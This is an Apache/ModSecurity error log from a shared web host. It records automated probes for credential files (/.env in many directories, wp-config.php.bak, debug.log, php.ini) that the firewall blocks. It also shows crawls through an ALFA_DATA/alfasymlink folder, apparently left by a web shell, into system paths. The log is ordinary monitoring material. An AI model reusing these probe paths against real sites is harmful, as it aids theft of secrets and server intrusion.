[Tue Oct 27 05:23:45.465803 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSUAAAAAI"]
[Tue Oct 27 05:23:45.466009 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auBtoeJWPhOgLfVxy6aSUAAAAAI"]
[Tue Oct 27 05:23:45.471239 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auBtoZVvqGtwGAy54pYOZgAAAA0"]
[Tue Oct 27 05:23:45.471394 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auBtoZVvqGtwGAy54pYOZgAAAA0"]
[Tue Oct 27 05:23:45.471638 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auBtoZVvqGtwGAy54pYOZgAAAA0"]
[Tue Oct 27 05:23:45.477573 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auBtofNweTK95FG6k466pwAAABQ"]
[Tue Oct 27 05:23:45.477706 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auBtofNweTK95FG6k466pwAAABQ"]
[Tue Oct 27 05:23:45.477921 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auBtofNweTK95FG6k466pwAAABQ"]
[Tue Oct 27 05:23:45.492963 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auBtoUmqTSs7laY6jMTh8QAAABc"]
[Tue Oct 27 05:23:45.493161 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auBtoUmqTSs7laY6jMTh8QAAABc"]
[Tue Oct 27 05:23:45.493472 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auBtoUmqTSs7laY6jMTh8QAAABc"]
[Tue Oct 27 05:23:45.493503 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auBtoZKov8XCMSQ3KFeUwAAAAAs"]
[Tue Oct 27 05:23:45.493643 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auBtoZKov8XCMSQ3KFeUwAAAAAs"]
[Tue Oct 27 05:23:45.493855 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auBtoZKov8XCMSQ3KFeUwAAAAAs"]
[Tue Oct 27 05:23:45.522970 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auBtoUQFomyjz0g-y4eOtQAAAAo"]
[Tue Oct 27 05:23:45.523246 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auBtoUQFomyjz0g-y4eOtQAAAAo"]
[Tue Oct 27 05:23:45.523561 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auBtoUQFomyjz0g-y4eOtQAAAAo"]
[Tue Oct 27 05:23:45.540867 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auBtoREnDOWBtFG5jRP7BAAAAAw"]
[Tue Oct 27 05:23:45.541002 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auBtoREnDOWBtFG5jRP7BAAAAAw"]
[Tue Oct 27 05:23:45.541285 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auBtoREnDOWBtFG5jRP7BAAAAAw"]
[Tue Oct 27 05:23:45.541679 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auBtoeJWPhOgLfVxy6aSUQAAAAI"]
[Tue Oct 27 05:23:45.541920 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auBtoeJWPhOgLfVxy6aSUQAAAAI"]
[Tue Oct 27 05:23:45.542190 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auBtoeJWPhOgLfVxy6aSUQAAAAI"]
[Tue Oct 27 05:23:45.545442 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auBtoR6MTIKaGGLTiEIYzgAAAAc"]
[Tue Oct 27 05:23:45.545652 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auBtoR6MTIKaGGLTiEIYzgAAAAc"]
[Tue Oct 27 05:23:45.545878 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auBtoR6MTIKaGGLTiEIYzgAAAAc"]
[Tue Oct 27 05:23:47.200105 2026] [ssl:error] [pid 3209606:tid 3209606] (70014)End of file found: [client 34.234.197.175:34080] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:02.139360 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.213.36.21:36482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:09.419375 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 85.208.96.204:30794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/object_size
[Tue Oct 27 05:24:10.141669 2026] [ssl:error] [pid 3201646:tid 3201646] (5)Input/output error: [client 34.233.114.237:44680] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:14.156844 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.223.116.180:32906] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:16.140433 2026] [security2:error] [pid 3201641:tid 3201641] [client 43.164.0.21:49800] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auBtwB6MTIKaGGLTiEIYzwAAAAc"]
[Tue Oct 27 05:24:16.142561 2026] [authz_core:error] [pid 3201641:tid 3201641] [client 43.164.0.21:49800] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 05:24:18.135170 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.90.73.206:14191] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:26.145316 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 34.196.114.170:48593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:36.960553 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 185.191.171.4:51600] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:46.152815 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.70.209.13:41791] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:50.157145 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 34.235.239.240:56524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:24:52.092837 2026] [core:crit] [pid 3201647:tid 3201647] (13)Permission denied: [client 147.185.133.165:61894] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 05:24:52.310696 2026] [core:crit] [pid 3209611:tid 3209611] (13)Permission denied: [client 147.185.133.165:61904] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 05:25:02.347651 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 23.21.148.226:49655] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:25:06.148926 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.45.15.233:12412] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:25:22.165415 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 3.217.171.106:42260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/driver/serial8250/tty/ttyS3/io_type
[Tue Oct 27 05:25:27.948361 2026] [security2:error] [pid 3201646:tid 3201646] [client 190.151.143.169:3228] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auBuBxEnDOWBtFG5jRP7CAAAAAw"], referer: https://addurl.in/redirect.php?ref_host=cerrajerosangelperez24h.com
[Tue Oct 27 05:25:27.949659 2026] [authz_core:error] [pid 3201646:tid 3201646] [client 190.151.143.169:3228] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://addurl.in/redirect.php?ref_host=cerrajerosangelperez24h.com
[Tue Oct 27 05:25:30.295992 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.156.55.147:51418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:25:43.246042 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 185.191.171.1:54720] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:25:58.177739 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.210.58.238:13760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:26:02.291902 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 18.207.89.138:27446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:1d/eject
[Tue Oct 27 05:26:06.344975 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.22.64.232:10905] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:26:10.149367 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.204.253.129:45958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:26:22.262934 2026] [ssl:error] [pid 3201646:tid 3201646] (5)Input/output error: [client 52.5.242.243:53770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:26:30.188587 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.218.6.93:46532] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:26:50.150861 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.204.62.163:56157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:26:54.145071 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 34.196.237.236:54049] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:27:06.174476 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.227.156.153:53433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:27:10.201230 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 98.82.63.147:17824] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:27:18.200634 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.229.95.193:14830] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:27:34.235995 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.1.157.90:34798] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:27:37.781711 2026] [core:crit] [pid 3201656:tid 3201656] (13)Permission denied: [client 106.63.26.6:9516] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 05:27:43.872862 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 85.208.96.204:44844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/total_objects
[Tue Oct 27 05:27:54.243972 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.4.76.156:5869] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:28:02.439278 2026] [ssl:error] [pid 3209616:tid 3209616] (5)Input/output error: [client 52.23.112.144:27264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:28:07.423594 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 85.208.96.200:58392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/cpu_slabs
[Tue Oct 27 05:28:08.930302 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 185.191.171.5:31544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/xmit_fifo_size
[Tue Oct 27 05:28:18.274101 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.215.24.66:54042] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:28:26.619287 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 3.89.176.255:1252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:28:34.459567 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 3.222.190.107:65357] AH02013: coalesce failed to read from data bucket
